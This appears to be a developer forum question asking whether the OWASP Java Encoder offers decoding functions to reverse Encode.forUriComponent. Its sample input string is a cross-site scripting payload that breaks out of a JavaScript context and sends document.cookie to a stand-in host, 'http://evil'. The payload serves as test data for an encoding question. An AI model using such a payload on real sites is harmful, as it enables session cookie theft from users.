Is owasp encoder have any decoding fuctions?

I encoded below query string with forURIComponent method of OWASP encoder.

String query = "query=hello'};window.location = 'http://evil?'+document.cookie;va&r- b = {//]'";

String encodedQuery = Encode.forUriComponent(query);

Now I need to decode encodedQuery and decoded string should be exactly equal to original query.